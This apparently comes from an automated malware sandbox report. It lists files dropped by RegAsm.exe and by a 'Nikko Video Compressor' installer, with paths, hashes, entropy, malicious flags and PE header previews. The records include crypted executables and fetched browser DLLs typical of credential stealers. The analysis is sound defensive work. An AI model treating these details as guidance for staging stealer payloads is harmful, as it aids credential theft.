SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\lgsfdam[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	390560
Entropy (8bit):	7.988255985085606
Encrypted:	false
SSDEEP:	6144:0dx0vN4gouCbr2AVHvPFFo9c1WAClFgmZLb38kHh4auf7I2uceHyJDPvHa+V4TgW:0d4ouIvlvPQ+NCLp1j5B4aAlLX/M0uEO
MD5:	992176158EF56D4A8A2C4EEFBA240126
SHA1:	F90D45C270B3A692B8AF3E4809447202FB23BA7A
SHA-256:	202AFF26415F9BCE8F95FEFA36568C65D28FCA7A511C0D2E23991DCADCED7847
SHA-512:	E7327363B437ABF958F5ED358C53ED57AEF4946C35AFFAD036A36A790AB5CE9C19279FA74AB83B0E95318E044B9907991D17F9B8FCDD225556D6BC6FAC2F5E6B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................ ........@.. ....................................`.....................................S...................x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........................................................................b...8...<i......(P)N.V..v7N.C..9....g.P..62.....;.i....`....u..g...F....3.d.:....G.k.N.j.....y..w8w....PW.4k.h..iy.{....L,.[...q.=..p,w\|.q...~.>}aNS..w..W.8S..>.X.....6...>Y.1T".n...OV.i.~b...p.......#S.....$o...^.v8...J....Aw...:.......$g&H..D.\.....tH...^.=53...]....F....6....hj5<.G..O..v5...~.%..i.....$#U..V.....r^HN.S.....1.L....fH.....ew....!......j>.....].....<..=B.k.\.{Bf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\sdhsfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222112
Entropy (8bit):	7.96837916071809
Encrypted:	false
SSDEEP:	6144:I/NKt5fv5P2tInQP5loWIUKp6KgjfOc2PEO:IFuxv5OinA5lJQ6Kgb6EO
MD5:	EA754070163F8ECA914B259096D834F0
SHA1:	CEBF2ECCAD67DEAF6AC9B8DC71118AD474B16868
SHA-256:	A893E20FEA08C8615DE1775AD3559EA6EFF35B5EC3B1AB6F463924285A84F47F
SHA-512:	2A75B505780C6670204F5C4E2818BB1B027C88E98C9C45DDE39AED786AFAEFF60215AFB278FDD89EED58639C9ECCF901836DA4329D3C62C03911992B923CA225
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...T..f.............................(... ...@....@.. ....................................`..................................(..S....@..............x=..(&...`......`'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......................................................................$..hII#MtzNi.T.............`...&g~....n~^..r.b..f.r.Ga.x.\|....}.Ib....PL:d.6... ......:E$7....e.aW...!..m5..5@..7W...........H:....+.(g...\[.k.z5.b....yd.)8....]K.._.}oB$......<]....K..%...On..j...nA}.P^.f.6Z\|.._..XcsF^....O].CQ..w....K..ts........F...H...].?WT>"f.].*..v.......$_...Lm.?.AO[9....e.8.~.e.....]NH.[L7\C...I.{.\|.A....\..F.L;M..CG.:..d..K>.....6"b..Ofy...u8...:.&.Qe7

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vsfdhgg15[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423328
Entropy (8bit):	7.989339766042097
Encrypted:	false
SSDEEP:	6144:rBrkDIY0uBcDXK+KgEqBG7nkmfVRSG5rO4lNhCV6JRIc+9dIbCtWeJATEO:oNgYLkm9RSYbNhu6DS9dIbufWEO
MD5:	92C66C140509B75BAE23F055D427AFB4
SHA1:	1ECC289391AD3FCB89B3E84CBB15944A10444AE0
SHA-256:	CC73160C4AF628FE13B6C3E83E06C5565FF67818B4148C13025786779BD4E127
SHA-512:	0B8C7E30AF4F74BA7A49F106388172C025A008D0F7DE13B88C0340AB0AC9B3611D66429257D65DEE5459E5AEBE78F472E1AA3E687009365DE3E36FF166D4366D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>..f.............................:... ...@....@.. ....................................`..................................:..S....@..............xO..(&...`......`9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H.......................................................................j....(.m........u..B...+..g....M.....D..g..%n.w..M..O....@...f...[a....`.3..y..\L..y...G.........8...n..E.up.flqh...:...1H.C.................i..]6..NgV...F.....t.A...b..h...\........r...&.&*kM.....Pa.FG....-I.%...T....'.\|z.A......Sh.../......F...@...F.&...l...s.....J..F....j..5.e7....O.h..-k..U.N..`.........v.....^....S..;v.^..?.!.ZQx..^..Sh.4 .^..\.@.....-b.7..?......7+8....1....T6.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\1[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6666862
Entropy (8bit):	6.624649438102188
Encrypted:	false
SSDEEP:	98304:AX+ACpyT3Q0Izx583ES5vXJY/IR7puRQ4Y4AOgtly:gBCpyTgvzL8UScWuRLY43Cly
MD5:	8FB3610C4BA81A5A93666562E712740A
SHA1:	FB8B6774E490680C1E04494D101F6CED3B7BE816
SHA-256:	8F72E50FAC72D3C5880F79997F6CF38026B00D6F907BCD80C5D780CF92DB7158
SHA-512:	6A833782EB81204D420841ACC1CD0D5F03BCE00D9725D850E5EF83A5C39C084E7BD1285582531A4092565BE9FA8409A7CFBCC0B74A5CEFD6DFAF9D4E4F5FD5CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}.f.t_..%.........#.@H...Z...f..........PH...@.................................).f....... .........................B......................................h ............................H....................................................text....>H......@H.................`.P`.data........PH......FH.............@.`..rdata..8....pH......`H.............@.`@/4............I.......H.............@.0@.bss....T.f...L.......................`..edata..B.............L.............@.0@.idata................L.............@.0..CRT....4.............L.............@.0..tls.................L.............@.0..reloc..h ......"....L.............@.0B/14...................Z.............@..B/29......... ........Z.............@..B/41.....XL.......N...\|\.............@..B/55.....B.... ........\.............@..B/67.....T.............].............@.0B/80.....a....0........].

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66e705d09b33c_jack[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4249600
Entropy (8bit):	7.5486921675227485
Encrypted:	false
SSDEEP:	49152:HYcdjDQdrscIC5SmTT+mfkj8J6iKG7suEAeMDsaUmxb7WnpRGnKuAsF33PKQTunw:HK/f+mfNptIZ/alxGR7uA8Phanzuhjf
MD5:	ABDBCC23BD8F767E671BAC6D2FF60335
SHA1:	18CA867C0502B353E9AAD63553EFD4EB4E25723F
SHA-256:	45A7B861BAAC5F8234433FEFD9DBDD0A5F288A18B72346B6B6917CF56882BF85
SHA-512:	67C00713E6D24D192C0F8E3E49FA146418FAF72B2BB42C276AD560F08E39C68F4AB446C47C7E7710778AEE9CA1F193AD65E061645B6BCEC414844165B5E16BC7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._U....................>..8........>.. ....>...@.. .......................@A...........@.................................`.>.K.....>...................... A.......>.............................................. ............... ..H............text.....>.. ....>................. ..`.sdata........>.......>.............@....rsrc.........>..0....>.............@..@.reloc....... A.......@.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66ecb454d2b4a_lgfdsjgds[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	363424
Entropy (8bit):	7.987313898927024
Encrypted:	false
SSDEEP:	6144:wF3qqFa1f0K9FDe8RGO93XozFt6tZjEZewycRZEelJYHq2bKEO:m3J6FDe8YOWz2tZwZrZEeDFEO
MD5:	384A847AD2833788FA253433FD2EEA8D
SHA1:	1984D8788FE40BD95A90D7D4E9DEA6C4E4FF6201
SHA-256:	DE30491736617249B3E80FC9436ECF0F7675B3C3014509398C3DB7298F93336A
SHA-512:	BCDBD44837629D8881C29A7C7F6A2D4E98B52FBC49952BAD2C89340A1DEE18FAC9987AAA8A3D91905A1F88A216C0E2501201A8665F3DF7D5F627FF71A2418AAC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..f.................2..........~Q... ...`....@.. ....................................`.................................,Q..O....`..............xe..(&...........O............................................... ............... ..H............text....1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B................`Q......H........A..............................................................VeO..z..?Z..#...b..t.H.xK.......+...,...57....>1.G2.%j.......u.-.E.mR.U....-6W.4.bW...5.>B...].. ..s..f.'.(o...}..k.P..q>j...][T..............s.p}HT-o8.....^.....p.....K7?.n.tEK>^.8.p.....+.bW...{:S...j...Z......z.d2.i....65.u.\|.vUy1....#6......P...}.$..K..\X....$..Z.D....X..q.K.^..I.>.L.j.v...-H.-.K...E.G...)r..C.,y-^6............~MJ).'....K...."p.5...9...A..0..sCU..=.......FYy...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66edb89bc4073_crypted[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	361336
Entropy (8bit):	7.9885937954241255
Encrypted:	false
SSDEEP:	6144:bhywd9hXzy09jGc0Ov7VdLiMVgoO/5Zu6p9zMYNERq3z3tP9PGHUG6rVxYF7n3oO:44hDdj3FO/5ZRpRNnjSqSnL
MD5:	D687AF3B103399AA245807BB719878B7
SHA1:	C3D45032BFD13C7DC75F08E55CABA56D0A1D4A42
SHA-256:	CC7056857CEC7D81101AF02D79431F4E193090FEF7D505D1970D4B2846F385B9
SHA-512:	8482B42FB16963BDCC6BCE162F79F64E28BFA46977788DF2044A7A0E805E67D44991C6EF24E1DD45643C7F69ABC66DEB257F23E7680B25DA8C486DC5BA0FF978
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................P...........n... ........@.. ....................................`..................................n..S....................Z..x)..........`m............................................... ............... ..H............text....N... ...P.................. ..`.rsrc................R..............@..@.reloc...............X..............@..B.................n......H........^................................................................$....sp...k.Ta.....\|.K..?wN...-..m..E...C.9..-#....f..=...5spJ......z.s.._4v.ZUO.w...b...ne.sR..v@sO.4.] ......V.L.....TV[.X.vF......\|..hI..$<gb...v-Cm<[6R...8..!m..........'.?j....W`JI..!k........,.O.<9..W...X..LEq.... !......Q..$.@....,99..~...%(...\..\|B..#.a... ......w..ZV..9.k..F.Zl........[.O..t....Gz&..c..yk&.N..;........T.fh.]Z.%....).=...-.Ig..T....1.!..z...E...9.....x.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\noode[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3129722
Entropy (8bit):	7.997346351250425
Encrypted:	true
SSDEEP:	49152:C9u9SbH8zf/UGo22XapqqpgqO60kyR2WG6PhBhjI/yksPeT/YhL11IpGvZ:MZjWfsGo2TpgqOAd6PhpkMeEhLhZ
MD5:	1905889C50091A12A2B3A94E525A3566
SHA1:	EAB0E89754662700424884B4A7461EDE47367A9B
SHA-256:	063DCD646F6D386E80C4B4130D2A7925BDD18DC28C48106F1DAA0AF5845B50BE
SHA-512:	2D35DD799938B82F82DF4426E01B676636F2ACC7581C4F910F5885A2E021D1543D010462A024AD0428140A8AAC60CC24D9554C26274BDA1C0204F533562D7883
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-213O2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-5R4JI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-83V08.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	data
Category:	dropped
Size (bytes):	2801664
Entropy (8bit):	6.679853349748172
Encrypted:	false
SSDEEP:	49152:8wWPibKnJknp/+ZcGBA6U2ihgNv7jkYntZ+1yDPFvxkPwQCw6xVw6:rgcac9PgNDjkYnDDPFvxkPwQCw6xl
MD5:	DE23F4095BA9B931D661B8C8A630455B
SHA1:	A4B571F4038C1CAF8DE3BA1325943DBC5C59E0EE
SHA-256:	F0B358362FF1CD49CFD2C68122343948D679802EC62F73688245DAA176814046
SHA-512:	96AED7A6FA7A98A098E0F65DFD29CE7AA368DBF97BFA6FCF3DD41E9B6EDECA7E9E8DAA07DFBFA4686D2D7B7E678F43ED09C7073BEE211656154EABAA774BFEF0
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[R.L..................".........t."......."...@...........................*......+.......................................".@.....#.XZ............................................................................"..............................text.....".......".................`....rdata...C...."..P....".............@..@.data...xT...0#..0...0#.............@....rsrc....`....#..`...`#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-BEGLA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-I7KQ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Reputation:	unknown
